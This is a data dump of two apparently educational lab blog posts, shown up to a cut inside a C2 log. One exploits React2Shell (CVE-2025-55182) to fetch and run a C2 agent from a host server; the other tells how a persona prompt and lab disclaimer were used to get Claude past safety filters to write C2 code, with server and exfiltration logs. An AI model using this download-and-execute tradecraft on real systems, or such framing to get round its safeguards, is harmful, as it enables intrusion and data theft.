[{"data":1,"prerenderedAt":1480},["ShallowReactive",2],{"malware-samples":3,"malware-writeups":5},{"samples":4},[],[6,441],{"id":7,"title":8,"body":9,"categories":427,"date":431,"description":432,"extension":433,"image":434,"meta":435,"navigation":344,"path":436,"project":437,"seo":438,"stem":439,"__hash__":440},"blog\u002Fblog\u002Freact2shell-c2-server-malware.md","I Exploited React2Shell and Got Shell Access",{"type":10,"value":11,"toc":416},"minimark",[12,16,19,32,35,38,43,64,68,71,77,83,89,93,96,99,117,120,138,143,151,154,162,165,191,199,258,262,265,268,288,291,313,316,324,328,331,334,338,341,353,356,373,377,380,383,409,412],[13,14,15],"p",{},"Everyone has been talking about CVE-2025-55182 these last couple of days, and rightfully so. It scored a Critical 10.0, enabling RCE on vulnerable React versions.",[13,17,18],{},"The vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:",[20,21,22,26,29],"ul",{},[23,24,25],"li",{},"react-server-dom-webpack",[23,27,28],{},"react-server-dom-parcel",[23,30,31],{},"react-server-dom-turbopack",[13,33,34],{},"If you haven't updated yet, you should!!",[13,36,37],{},"In this post, I walk through how I got shell access running a vulnerable React version, connecting to my C2 server that I built in my previous blog post, and running commands on the Ubuntu VM. Everything here is performed inside an isolated environment and is strictly for educational purposes.",[39,40,42],"h3",{"id":41},"lab-setup-overview","Lab Setup Overview",[20,44,45,52,58],{},[23,46,47,51],{},[48,49,50],"strong",{},"Host machine:"," MacBook",[23,53,54,57],{},[48,55,56],{},"Virtual environment:"," VirtualBox",[23,59,60,63],{},[48,61,62],{},"Target VM:"," Ubuntu 24",[39,65,67],{"id":66},"cve-2025-55182","CVE-2025-55182",[13,69,70],{},"CVE-2025-55182, nicknamed \"React2Shell,\" is a critical (CVSS score of 10.0) vulnerability that allows for unauthenticated remote code execution (RCE) in applications utilizing React Server Components (RSC).",[13,72,73,76],{},[48,74,75],{},"Vulnerability Type:"," Insecure Deserialization, specifically within the React Server Components protocol.",[13,78,79,82],{},[48,80,81],{},"Impact:"," An unauthenticated remote attacker can send a specially crafted HTTP request to a vulnerable server function endpoint, leading to the execution of arbitrary code on the server. This can result in full server compromise, data exfiltration, and lateral movement.",[13,84,85,88],{},[48,86,87],{},"Severity:"," Critical (CVSS: 10.0). The flaw is highly reliable and easily exploited.",[39,90,92],{"id":91},"how-the-rce-works","How the RCE Works",[13,94,95],{},"The vulnerability stems from improper deserialization of untrusted data in React's Flight protocol, which is used to communicate between client and server components. When a malicious payload is sent to a server function endpoint, the server deserializes the data without proper validation, allowing arbitrary code execution.",[13,97,98],{},"The attack flow:",[100,101,102,105,108,111,114],"ol",{},[23,103,104],{},"Attacker crafts a malicious serialized payload",[23,106,107],{},"Payload is sent to a vulnerable server function endpoint",[23,109,110],{},"React Server Components deserialize the payload without validation",[23,112,113],{},"Arbitrary code executes in the server context",[23,115,116],{},"Attacker gains full control of the server",[13,118,119],{},"\"Easily exploited\" is putting it mildly. Below are the PoC and Burp Suite requests I used:",[20,121,122,131],{},[23,123,124],{},[125,126,130],"a",{"href":127,"rel":128},"https:\u002F\u002Fgithub.com\u002Fmsanft\u002FCVE-2025-55182\u002Ftree\u002Fmain",[129],"nofollow","PoC",[23,132,133],{},[125,134,137],{"href":135,"rel":136},"https:\u002F\u002Fgist.githubusercontent.com\u002Fmaple3142\u002F48bc9393f45e068cf8c90ab865c0f5f3\u002Fraw\u002F2998143e4fc06caff6df99fcccf0ab9e74431c21\u002FCVE-2025-55182.http",[129],"Burp Suite Request",[139,140,142],"h2",{"id":141},"getting-shell-access","Getting Shell Access",[13,144,145,146,150],{},"In my previous blog post ",[125,147,149],{"href":148},"\u002Fblog\u002Fhacking-ai-c2-server-malware","I Hacked AI To Build Me a C2 Server and Get Shell Access",", I explained how the C2 server is built and the extended functionalities added. I added a command to open the browser and browse to my website as a proof of concept.",[13,152,153],{},"Claude generated a Python-based C2 server that I extended with:",[20,155,156,159],{},[23,157,158],{},"Task queueing",[23,160,161],{},"Operator console commands",[13,163,164],{},"The server exposes the following endpoints:",[20,166,167,173,179,185],{},[23,168,169,172],{},[48,170,171],{},"GET \u002Ftask"," — Agent retrieves the next task",[23,174,175,178],{},[48,176,177],{},"GET \u002Fqueue"," — View pending tasks",[23,180,181,184],{},[48,182,183],{},"POST \u002Freport"," — Agent reports results",[23,186,187,190],{},[48,188,189],{},"POST \u002Fenqueue"," — Operator adds tasks",[13,192,193,194,198],{},"Pre-loaded tasks (",[195,196,197],"code",{},"task_queue.json","):",[200,201,206],"pre",{"className":202,"code":203,"language":204,"meta":205,"style":205},"language-json shiki shiki-themes github-light github-dark","[\n  { \"task\": \"SHELL:whoami\" },\n  { \"task\": \"SHELL:xdg-open https:\u002F\u002Fjordydekoning.com\" }\n]\n","json","",[195,207,208,217,237,252],{"__ignoreMap":205},[209,210,213],"span",{"class":211,"line":212},"line",1,[209,214,216],{"class":215},"sVt8B","[\n",[209,218,220,223,227,230,234],{"class":211,"line":219},2,[209,221,222],{"class":215},"  { ",[209,224,226],{"class":225},"sj4cs","\"task\"",[209,228,229],{"class":215},": ",[209,231,233],{"class":232},"sZZnC","\"SHELL:whoami\"",[209,235,236],{"class":215}," },\n",[209,238,240,242,244,246,249],{"class":211,"line":239},3,[209,241,222],{"class":215},[209,243,226],{"class":225},[209,245,229],{"class":215},[209,247,248],{"class":232},"\"SHELL:xdg-open https:\u002F\u002Fjordydekoning.com\"",[209,250,251],{"class":215}," }\n",[209,253,255],{"class":211,"line":254},4,[209,256,257],{"class":215},"]\n",[39,259,261],{"id":260},"setting-up-the-agent","Setting Up the Agent",[13,263,264],{},"Because of the RCE vulnerability, we can modify the Burp Suite request to download and execute the agent.py silently in the background. The payload injects a command to fetch the agent from our HTTP server and execute it.",[13,266,267],{},"Claude also generated a Python agent capable of:",[20,269,270,273,279,282,285],{},[23,271,272],{},"Connecting to the C2 server",[23,274,275,276],{},"Polling ",[195,277,278],{},"\u002Ftask",[23,280,281],{},"Executing shell commands",[23,283,284],{},"Gathering system info",[23,286,287],{},"Uploading files in base64",[13,289,290],{},"To deliver the script to the VM, I hosted it using:",[200,292,296],{"className":293,"code":294,"language":295,"meta":205,"style":205},"language-bash shiki shiki-themes github-light github-dark","python3 -m http.server 8000\n","bash",[195,297,298],{"__ignoreMap":205},[209,299,300,304,307,310],{"class":211,"line":212},[209,301,303],{"class":302},"sScJk","python3",[209,305,306],{"class":225}," -m",[209,308,309],{"class":232}," http.server",[209,311,312],{"class":225}," 8000\n",[13,314,315],{},"Then it's accessible over",[200,317,322],{"className":318,"code":320,"language":321},[319],"language-text","http:\u002F\u002F\u003Chost-ip>:8000\u002Fagent.py\n","text",[195,323,320],{"__ignoreMap":205},[39,325,327],{"id":326},"running-the-agent","Running the Agent",[13,329,330],{},"When the Burp request is sent to the React server, you can directly see the connection being established between the C2 server and the agent.",[13,332,333],{},"The agent fetches the tasks and executes them, logging whoami and opening this blog website. Then I execute a reboot command from the C2 server, and the VM reboots.",[39,335,337],{"id":336},"demonstration-video","Demonstration Video",[13,339,340],{},"Watch the full exploitation process in action:",[342,343,346,347,352],"video",{"controls":344,"width":345},true,"100%","\n  ",[348,349],"source",{"src":350,"type":351},"\u002Fassets\u002Fvideos\u002Fblogs\u002Freact2shell.mp4","video\u002Fmp4","\n  Your browser does not support the video tag.\n",[13,354,355],{},"The video shows:",[100,357,358,361,364,367,370],{},[23,359,360],{},"Setting up the vulnerable React application",[23,362,363],{},"Crafting and sending the malicious payload via Burp Suite",[23,365,366],{},"Agent downloading and establishing C2 connection",[23,368,369],{},"Executing remote commands on the target system",[23,371,372],{},"Full system compromise demonstration",[139,374,376],{"id":375},"conclusion","Conclusion",[13,378,379],{},"This demonstration shows how critical the React2Shell vulnerability truly is. With minimal effort, an attacker can achieve full remote code execution on vulnerable React applications. The combination of a simple HTTP request and a basic C2 infrastructure can lead to complete system compromise.",[13,381,382],{},"Key takeaways:",[20,384,385,391,397,403],{},[23,386,387,390],{},[48,388,389],{},"Update immediately:"," If you're running affected React versions (19.0-19.2.0), update to patched versions now",[23,392,393,396],{},[48,394,395],{},"Monitor for exploitation:"," Check server logs for suspicious requests to server function endpoints",[23,398,399,402],{},[48,400,401],{},"Defense in depth:"," Even with patches, implement additional security layers like WAF rules and network segmentation",[23,404,405,408],{},[48,406,407],{},"Regular security audits:"," This vulnerability highlights the importance of keeping dependencies updated",[13,410,411],{},"Remember, this demonstration was performed in a controlled lab environment for educational purposes only. Never attempt to exploit vulnerabilities on systems you don't own.",[413,414,415],"style",{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":205,"searchDepth":219,"depth":219,"links":417},[418,419,420,421,426],{"id":41,"depth":239,"text":42},{"id":66,"depth":239,"text":67},{"id":91,"depth":239,"text":92},{"id":141,"depth":219,"text":142,"children":422},[423,424,425],{"id":260,"depth":239,"text":261},{"id":326,"depth":239,"text":327},{"id":336,"depth":239,"text":337},{"id":375,"depth":219,"text":376},[428,429,430],"ai","hacking","cybersecurity","2025-12-08","In this hands-on post, I show how I exploited the React2Shell (CVE-2025-55182) vulnerability to download a C2 agent and gain shell access on a controlled Ubuntu VM","md","\u002Fassets\u002Fimages\u002Fblogs\u002Freact2shell-c2-server-malware.png",{"url":436},"\u002Fblog\u002Freact2shell-c2-server-malware",null,{"title":8,"description":432},"blog\u002Freact2shell-c2-server-malware","vZ1N69_qojSzgu382CEhJtLPP98bASsdNTqoo1k-WTk",{"id":442,"title":443,"body":444,"categories":1472,"date":1473,"description":1474,"extension":433,"image":1475,"meta":1476,"navigation":344,"path":148,"project":437,"seo":1477,"stem":1478,"__hash__":1479},"blog\u002Fblog\u002Fhacking-ai-c2-server-malware.md","I Hacked AI To Build Me a C2 Server and get Shell Access",{"type":10,"value":445,"toc":1460},[446,449,452,454,470,474,481,484,487,514,518,520,529,531,549,556,561,653,656,668,671,1088,1090,1093,1107,1110,1124,1127,1133,1135,1142,1393,1397,1403,1412,1415,1418,1420,1423,1437,1441,1444,1447,1450,1457],[13,447,448],{},"Understanding how command-and-control (C2) systems work is essential for anyone learning cybersecurity. These systems form the backbone of real-world malware operations, enabling remote command execution, file exfiltration, and persistent access. In this lab experiment, we replicate that behavior in a fully controlled environment to explore how attackers operate and how defenders can recognize these patterns.",[13,450,451],{},"In this post, I walk through how I used AI-generated prompts to construct a basic C2 server and a lightweight agent, allowing me to execute commands on a Windows 11 VM from my host machine. Everything here is performed inside an isolated Proxmox environment and is strictly for educational use.",[39,453,42],{"id":41},[20,455,456,460,465],{},[23,457,458,51],{},[48,459,50],{},[23,461,462,464],{},[48,463,56],{}," Proxmox",[23,466,467,469],{},[48,468,62],{}," Windows 11",[39,471,473],{"id":472},"prompt-engineering","Prompt Engineering",[13,475,476,477,480],{},"To avoid triggering AI safety filters, I used the ",[48,478,479],{},"Lyra"," prompt optimizer to refine my intent into a supervised, academic research context. This clarified that the goal was defensive learning and not malicious activity.",[13,482,483],{},"Lyra’s prompt helped generate a specialized “Sentinel AI” researcher persona, which I then combined with a university-lab disclaimer. This resulted in an optimized prompt that allowed Claude to safely generate C2-related code without misunderstanding the intent.",[13,485,486],{},"Relevant prompt links:",[20,488,489,502,508],{},[23,490,491,495,496,501],{},[125,492,494],{"href":493},"\u002Fblog\u002Fc2\u002Fprompts\u002Flyra.prompt.md","Lyra prompt"," (Kudos to ",[125,497,500],{"href":498,"rel":499},"https:\u002F\u002Fwww.reddit.com\u002Fr\u002FChatGPT\u002Fs\u002Frmoo6YxcPB",[129],"Prestigious-Fan118",")",[23,503,504],{},[125,505,507],{"href":506},"\u002Fblog\u002Fc2\u002Fprompts\u002Fsentinel-ai.prompt.md","Sentinel AI prompt",[23,509,510],{},[125,511,513],{"href":512},"\u002Fblog\u002Fc2\u002Fprompts\u002Fclaude.prompt.md","Claude optimized prompt",[39,515,517],{"id":516},"building-the-c2-server","Building the C2 Server",[13,519,153],{},[20,521,522,524,527],{},[23,523,158],{},[23,525,526],{},"File download functionality",[23,528,161],{},[13,530,164],{},[20,532,533,537,541,545],{},[23,534,535,172],{},[48,536,171],{},[23,538,539,178],{},[48,540,177],{},[23,542,543,184],{},[48,544,183],{},[23,546,547,190],{},[48,548,189],{},[13,550,551,552,555],{},"The server also decodes base64 file uploads from the agent and stores them in the ",[195,553,554],{},"loot\u002F"," directory.",[13,557,558,559,198],{},"Example of pre-loaded tasks (",[195,560,197],{},[200,562,564],{"className":202,"code":563,"language":204,"meta":205,"style":205},"[\n  { \"task\": \"SHELL:whoami\" },\n  { \"task\": \"SHELL:hostname\" },\n  { \"task\": \"SHELL:ipconfig \u002Fall\" },\n  { \"task\": \"get_file:C:\\\\Users\\\\just-\\\\OneDrive\\\\Pictures\\\\FLAG-meme.jpeg\" }\n]\n",[195,565,566,570,582,595,608,648],{"__ignoreMap":205},[209,567,568],{"class":211,"line":212},[209,569,216],{"class":215},[209,571,572,574,576,578,580],{"class":211,"line":219},[209,573,222],{"class":215},[209,575,226],{"class":225},[209,577,229],{"class":215},[209,579,233],{"class":232},[209,581,236],{"class":215},[209,583,584,586,588,590,593],{"class":211,"line":239},[209,585,222],{"class":215},[209,587,226],{"class":225},[209,589,229],{"class":215},[209,591,592],{"class":232},"\"SHELL:hostname\"",[209,594,236],{"class":215},[209,596,597,599,601,603,606],{"class":211,"line":254},[209,598,222],{"class":215},[209,600,226],{"class":225},[209,602,229],{"class":215},[209,604,605],{"class":232},"\"SHELL:ipconfig \u002Fall\"",[209,607,236],{"class":215},[209,609,611,613,615,617,620,623,626,628,631,633,636,638,641,643,646],{"class":211,"line":610},5,[209,612,222],{"class":215},[209,614,226],{"class":225},[209,616,229],{"class":215},[209,618,619],{"class":232},"\"get_file:C:",[209,621,622],{"class":225},"\\\\",[209,624,625],{"class":232},"Users",[209,627,622],{"class":225},[209,629,630],{"class":232},"just-",[209,632,622],{"class":225},[209,634,635],{"class":232},"OneDrive",[209,637,622],{"class":225},[209,639,640],{"class":232},"Pictures",[209,642,622],{"class":225},[209,644,645],{"class":232},"FLAG-meme.jpeg\"",[209,647,251],{"class":215},[209,649,651],{"class":211,"line":650},6,[209,652,257],{"class":215},[13,654,655],{},"Start the server:",[200,657,659],{"className":293,"code":658,"language":295,"meta":205,"style":205},"python3 server.py\n",[195,660,661],{"__ignoreMap":205},[209,662,663,665],{"class":211,"line":212},[209,664,303],{"class":302},[209,666,667],{"class":232}," server.py\n",[13,669,670],{},"Server output:",[200,672,674],{"className":293,"code":673,"language":295,"meta":205,"style":205},"[2025-11-25 10:08:02] ⚠️  C2 SIMULATION INITIALIZING\n============================================================\n⚠️  WARNING: Educational Use Only - Isolated Lab Environment\n============================================================\nConfiguration:\n  • Listening: 0.0.0.0:8080\n  • Loot Directory: loot\u002F\n  • Task Persistence: task_queue.json\n------------------------------------------------------------\n[*] Loaded 4 tasks from task_queue.json\n\n[*] C2 Server starting on http:\u002F\u002F0.0.0.0:8080\n[*] Initial queue size: 4\n[*] Tasks are REMOVED after agent retrieval\n------------------------------------------------------------\nEndpoints:\n  GET  \u002Ftask     - Agent retrieves next task\n  POST \u002Freport   - Agent submits results\n  POST \u002Fenqueue  - Operator adds task\n  GET  \u002Fqueue    - View queue status\n------------------------------------------------------------\n\n============================================================\n🎯 C2 OPERATOR CONSOLE\n============================================================\nCommands:\n  queue                 - Show current task queue\n  add \u003CTASK>            - Add task (e.g., 'add SHELL:whoami')\n  clear                 - Clear all queued tasks\n  loot                  - List exfiltrated files\n  reports               - Show recent agent reports\n  exit                  - Shutdown C2 server\n============================================================\n",[195,675,676,681,686,715,719,724,735,749,763,769,782,788,798,808,818,823,829,853,873,892,912,917,922,927,942,947,953,974,1009,1029,1047,1067,1083],{"__ignoreMap":205},[209,677,678],{"class":211,"line":212},[209,679,680],{"class":215},"[2025-11-25 10:08:02] ⚠️  C2 SIMULATION INITIALIZING\n",[209,682,683],{"class":211,"line":219},[209,684,685],{"class":232},"============================================================\n",[209,687,688,691,694,697,700,703,706,709,712],{"class":211,"line":239},[209,689,690],{"class":302},"⚠️",[209,692,693],{"class":232},"  WARNING:",[209,695,696],{"class":232}," Educational",[209,698,699],{"class":232}," Use",[209,701,702],{"class":232}," Only",[209,704,705],{"class":232}," -",[209,707,708],{"class":232}," Isolated",[209,710,711],{"class":232}," Lab",[209,713,714],{"class":232}," Environment\n",[209,716,717],{"class":211,"line":254},[209,718,685],{"class":232},[209,720,721],{"class":211,"line":610},[209,722,723],{"class":302},"Configuration:\n",[209,725,726,729,732],{"class":211,"line":650},[209,727,728],{"class":302},"  •",[209,730,731],{"class":232}," Listening:",[209,733,734],{"class":232}," 0.0.0.0:8080\n",[209,736,738,740,743,746],{"class":211,"line":737},7,[209,739,728],{"class":302},[209,741,742],{"class":232}," Loot",[209,744,745],{"class":232}," Directory:",[209,747,748],{"class":232}," loot\u002F\n",[209,750,752,754,757,760],{"class":211,"line":751},8,[209,753,728],{"class":302},[209,755,756],{"class":232}," Task",[209,758,759],{"class":232}," Persistence:",[209,761,762],{"class":232}," task_queue.json\n",[209,764,766],{"class":211,"line":765},9,[209,767,768],{"class":302},"------------------------------------------------------------\n",[209,770,772,775,779],{"class":211,"line":771},10,[209,773,774],{"class":215},"[",[209,776,778],{"class":777},"szBVR","*",[209,780,781],{"class":215},"] Loaded 4 tasks from task_queue.json\n",[209,783,785],{"class":211,"line":784},11,[209,786,787],{"emptyLinePlaceholder":344},"\n",[209,789,791,793,795],{"class":211,"line":790},12,[209,792,774],{"class":215},[209,794,778],{"class":777},[209,796,797],{"class":215},"] C2 Server starting on http:\u002F\u002F0.0.0.0:8080\n",[209,799,801,803,805],{"class":211,"line":800},13,[209,802,774],{"class":215},[209,804,778],{"class":777},[209,806,807],{"class":215},"] Initial queue size: 4\n",[209,809,811,813,815],{"class":211,"line":810},14,[209,812,774],{"class":215},[209,814,778],{"class":777},[209,816,817],{"class":215},"] Tasks are REMOVED after agent retrieval\n",[209,819,821],{"class":211,"line":820},15,[209,822,768],{"class":302},[209,824,826],{"class":211,"line":825},16,[209,827,828],{"class":302},"Endpoints:\n",[209,830,832,835,838,841,844,847,850],{"class":211,"line":831},17,[209,833,834],{"class":302},"  GET",[209,836,837],{"class":232},"  \u002Ftask",[209,839,840],{"class":232},"     -",[209,842,843],{"class":232}," Agent",[209,845,846],{"class":232}," retrieves",[209,848,849],{"class":232}," next",[209,851,852],{"class":232}," task\n",[209,854,856,859,862,865,867,870],{"class":211,"line":855},18,[209,857,858],{"class":302},"  POST",[209,860,861],{"class":232}," \u002Freport",[209,863,864],{"class":232},"   -",[209,866,843],{"class":232},[209,868,869],{"class":232}," submits",[209,871,872],{"class":232}," results\n",[209,874,876,878,881,884,887,890],{"class":211,"line":875},19,[209,877,858],{"class":302},[209,879,880],{"class":232}," \u002Fenqueue",[209,882,883],{"class":232},"  -",[209,885,886],{"class":232}," Operator",[209,888,889],{"class":232}," adds",[209,891,852],{"class":232},[209,893,895,897,900,903,906,909],{"class":211,"line":894},20,[209,896,834],{"class":302},[209,898,899],{"class":232},"  \u002Fqueue",[209,901,902],{"class":232},"    -",[209,904,905],{"class":232}," View",[209,907,908],{"class":232}," queue",[209,910,911],{"class":232}," status\n",[209,913,915],{"class":211,"line":914},21,[209,916,768],{"class":302},[209,918,920],{"class":211,"line":919},22,[209,921,787],{"emptyLinePlaceholder":344},[209,923,925],{"class":211,"line":924},23,[209,926,685],{"class":232},[209,928,930,933,936,939],{"class":211,"line":929},24,[209,931,932],{"class":302},"🎯",[209,934,935],{"class":232}," C2",[209,937,938],{"class":232}," OPERATOR",[209,940,941],{"class":232}," CONSOLE\n",[209,943,945],{"class":211,"line":944},25,[209,946,685],{"class":232},[209,948,950],{"class":211,"line":949},26,[209,951,952],{"class":302},"Commands:\n",[209,954,956,959,962,965,968,971],{"class":211,"line":955},27,[209,957,958],{"class":302},"  queue",[209,960,961],{"class":232},"                 -",[209,963,964],{"class":232}," Show",[209,966,967],{"class":232}," current",[209,969,970],{"class":232}," task",[209,972,973],{"class":232}," queue\n",[209,975,977,980,983,986,989,992,995,998,1000,1003,1006],{"class":211,"line":976},28,[209,978,979],{"class":302},"  add",[209,981,982],{"class":777}," \u003C",[209,984,985],{"class":232},"TAS",[209,987,988],{"class":215},"K",[209,990,991],{"class":777},">",[209,993,994],{"class":232},"            -",[209,996,997],{"class":232}," Add",[209,999,970],{"class":232},[209,1001,1002],{"class":215}," (e.g., ",[209,1004,1005],{"class":232},"'add SHELL:whoami'",[209,1007,1008],{"class":215},")\n",[209,1010,1012,1015,1017,1020,1023,1026],{"class":211,"line":1011},29,[209,1013,1014],{"class":302},"  clear",[209,1016,961],{"class":232},[209,1018,1019],{"class":232}," Clear",[209,1021,1022],{"class":232}," all",[209,1024,1025],{"class":232}," queued",[209,1027,1028],{"class":232}," tasks\n",[209,1030,1032,1035,1038,1041,1044],{"class":211,"line":1031},30,[209,1033,1034],{"class":302},"  loot",[209,1036,1037],{"class":232},"                  -",[209,1039,1040],{"class":232}," List",[209,1042,1043],{"class":232}," exfiltrated",[209,1045,1046],{"class":232}," files\n",[209,1048,1050,1053,1056,1058,1061,1064],{"class":211,"line":1049},31,[209,1051,1052],{"class":302},"  reports",[209,1054,1055],{"class":232},"               -",[209,1057,964],{"class":232},[209,1059,1060],{"class":232}," recent",[209,1062,1063],{"class":232}," agent",[209,1065,1066],{"class":232}," reports\n",[209,1068,1070,1073,1075,1078,1080],{"class":211,"line":1069},32,[209,1071,1072],{"class":225},"  exit",[209,1074,1037],{"class":232},[209,1076,1077],{"class":232}," Shutdown",[209,1079,935],{"class":232},[209,1081,1082],{"class":232}," server\n",[209,1084,1086],{"class":211,"line":1085},33,[209,1087,685],{"class":232},[39,1089,261],{"id":260},[13,1091,1092],{},"Claude also generated a VBScript agent capable of:",[20,1094,1095,1097,1101,1103,1105],{},[23,1096,272],{},[23,1098,275,1099],{},[195,1100,278],{},[23,1102,281],{},[23,1104,284],{},[23,1106,287],{},[13,1108,1109],{},"To deliver the script to the Windows VM, I hosted it using:",[200,1111,1112],{"className":293,"code":294,"language":295,"meta":205,"style":205},[195,1113,1114],{"__ignoreMap":205},[209,1115,1116,1118,1120,1122],{"class":211,"line":212},[209,1117,303],{"class":302},[209,1119,306],{"class":225},[209,1121,309],{"class":232},[209,1123,312],{"class":225},[13,1125,1126],{},"Then downloaded it from the VM at:",[200,1128,1131],{"className":1129,"code":1130,"language":321},[319],"http:\u002F\u002F\u003Chost-ip>:8000\u002Fagent.vbs\n",[195,1132,1130],{"__ignoreMap":205},[39,1134,327],{"id":326},[13,1136,1137,1138,1141],{},"Double-clicking ",[195,1139,1140],{},"agent.vbs"," triggers the agent to start polling the C2 server. Console output on the C2 server shows the interaction:",[200,1143,1145],{"className":293,"code":1144,"language":295,"meta":205,"style":205},"C2> [10:15:02] [+] REPORT from 192.168.2.69 (len=145)\n[10:15:02] [📝] Report logged (shell output)\n[10:15:02] [📥] Task REQUEST from 192.168.2.69\n[10:15:02] [→] Task sent to 192.168.2.69: SHELL:whoami (Remaining: 3)\n[10:15:03] [+] REPORT from 192.168.2.69 (len=36)\n[10:15:03] [📝] Report logged (shell output)\n[10:15:13] [📥] Task REQUEST from 192.168.2.69\n[10:15:13] [→] Task sent to 192.168.2.69: SHELL:hostname (Remaining: 2)\n[10:15:14] [+] REPORT from 192.168.2.69 (len=32)\n[10:15:14] [📝] Report logged (shell output)\n[10:15:24] [📥] Task REQUEST from 192.168.2.69\n[10:15:24] [→] Task sent to 192.168.2.69: SHELL:ipconfig \u002Fall (Remaining: 1)\n[10:15:25] [+] REPORT from 192.168.2.69 (len=2032)\n[10:15:25] [📝] Report logged (shell output)\n[10:15:35] [📥] Task REQUEST from 192.168.2.69\n[10:15:35] [→] Task sent to 192.168.2.69: get_file:C:\\\\Users\\\\just-\\\\OneDrive\\\\Pictures\\\\FLAG-meme.png (Remaining: 0)\n[10:15:35] [+] REPORT from 192.168.2.69 (len=172004)\n    └─> Decoded 510.3 KB as .png\n[10:15:35] [💾] File saved: loot\u002F192.168.2.69_2025-11-25_10-15-35.png\n[10:15:45] [📥] Task REQUEST from 192.168.2.69\n[10:15:45] [→] SLEEP sent to 192.168.2.69 (queue empty)\n",[195,1146,1147,1163,1176,1181,1194,1206,1217,1222,1234,1246,1257,1262,1274,1286,1297,1302,1335,1347,1370,1375,1380],{"__ignoreMap":205},[209,1148,1149,1152,1155,1158,1161],{"class":211,"line":212},[209,1150,1151],{"class":302},"C2",[209,1153,1154],{"class":215},"> [10:15:02] [+] REPORT from 192.168.2.69 (len",[209,1156,1157],{"class":777},"=",[209,1159,1160],{"class":232},"145",[209,1162,1008],{"class":215},[209,1164,1165,1168,1171,1174],{"class":211,"line":219},[209,1166,1167],{"class":215},"[10:15:02] [📝] Report logged (",[209,1169,1170],{"class":302},"shell",[209,1172,1173],{"class":232}," output",[209,1175,1008],{"class":215},[209,1177,1178],{"class":211,"line":239},[209,1179,1180],{"class":215},"[10:15:02] [📥] Task REQUEST from 192.168.2.69\n",[209,1182,1183,1186,1189,1192],{"class":211,"line":254},[209,1184,1185],{"class":215},"[10:15:02] [→] Task sent to 192.168.2.69: SHELL:whoami (",[209,1187,1188],{"class":302},"Remaining:",[209,1190,1191],{"class":225}," 3",[209,1193,1008],{"class":215},[209,1195,1196,1199,1201,1204],{"class":211,"line":610},[209,1197,1198],{"class":215},"[10:15:03] [+] REPORT from 192.168.2.69 (len",[209,1200,1157],{"class":777},[209,1202,1203],{"class":232},"36",[209,1205,1008],{"class":215},[209,1207,1208,1211,1213,1215],{"class":211,"line":650},[209,1209,1210],{"class":215},"[10:15:03] [📝] Report logged (",[209,1212,1170],{"class":302},[209,1214,1173],{"class":232},[209,1216,1008],{"class":215},[209,1218,1219],{"class":211,"line":737},[209,1220,1221],{"class":215},"[10:15:13] [📥] Task REQUEST from 192.168.2.69\n",[209,1223,1224,1227,1229,1232],{"class":211,"line":751},[209,1225,1226],{"class":215},"[10:15:13] [→] Task sent to 192.168.2.69: SHELL:hostname (",[209,1228,1188],{"class":302},[209,1230,1231],{"class":225}," 2",[209,1233,1008],{"class":215},[209,1235,1236,1239,1241,1244],{"class":211,"line":765},[209,1237,1238],{"class":215},"[10:15:14] [+] REPORT from 192.168.2.69 (len",[209,1240,1157],{"class":777},[209,1242,1243],{"class":232},"32",[209,1245,1008],{"class":215},[209,1247,1248,1251,1253,1255],{"class":211,"line":771},[209,1249,1250],{"class":215},"[10:15:14] [📝] Report logged (",[209,1252,1170],{"class":302},[209,1254,1173],{"class":232},[209,1256,1008],{"class":215},[209,1258,1259],{"class":211,"line":784},[209,1260,1261],{"class":215},"[10:15:24] [📥] Task REQUEST from 192.168.2.69\n",[209,1263,1264,1267,1269,1272],{"class":211,"line":790},[209,1265,1266],{"class":215},"[10:15:24] [→] Task sent to 192.168.2.69: SHELL:ipconfig \u002Fall (",[209,1268,1188],{"class":302},[209,1270,1271],{"class":225}," 1",[209,1273,1008],{"class":215},[209,1275,1276,1279,1281,1284],{"class":211,"line":800},[209,1277,1278],{"class":215},"[10:15:25] [+] REPORT from 192.168.2.69 (len",[209,1280,1157],{"class":777},[209,1282,1283],{"class":232},"2032",[209,1285,1008],{"class":215},[209,1287,1288,1291,1293,1295],{"class":211,"line":810},[209,1289,1290],{"class":215},"[10:15:25] [📝] Report logged (",[209,1292,1170],{"class":302},[209,1294,1173],{"class":232},[209,1296,1008],{"class":215},[209,1298,1299],{"class":211,"line":820},[209,1300,1301],{"class":215},"[10:15:35] [📥] Task REQUEST from 192.168.2.69\n",[209,1303,1304,1307,1309,1311,1313,1315,1317,1319,1321,1323,1325,1328,1330,1333],{"class":211,"line":825},[209,1305,1306],{"class":215},"[10:15:35] [→] Task sent to 192.168.2.69: get_file:C:",[209,1308,622],{"class":225},[209,1310,625],{"class":215},[209,1312,622],{"class":225},[209,1314,630],{"class":215},[209,1316,622],{"class":225},[209,1318,635],{"class":215},[209,1320,622],{"class":225},[209,1322,640],{"class":215},[209,1324,622],{"class":225},[209,1326,1327],{"class":215},"FLAG-meme.png (",[209,1329,1188],{"class":302},[209,1331,1332],{"class":225}," 0",[209,1334,1008],{"class":215},[209,1336,1337,1340,1342,1345],{"class":211,"line":831},[209,1338,1339],{"class":215},"[10:15:35] [+] REPORT from 192.168.2.69 (len",[209,1341,1157],{"class":777},[209,1343,1344],{"class":232},"172004",[209,1346,1008],{"class":215},[209,1348,1349,1352,1355,1358,1361,1364,1367],{"class":211,"line":855},[209,1350,1351],{"class":302},"    └─",[209,1353,1354],{"class":215},"> 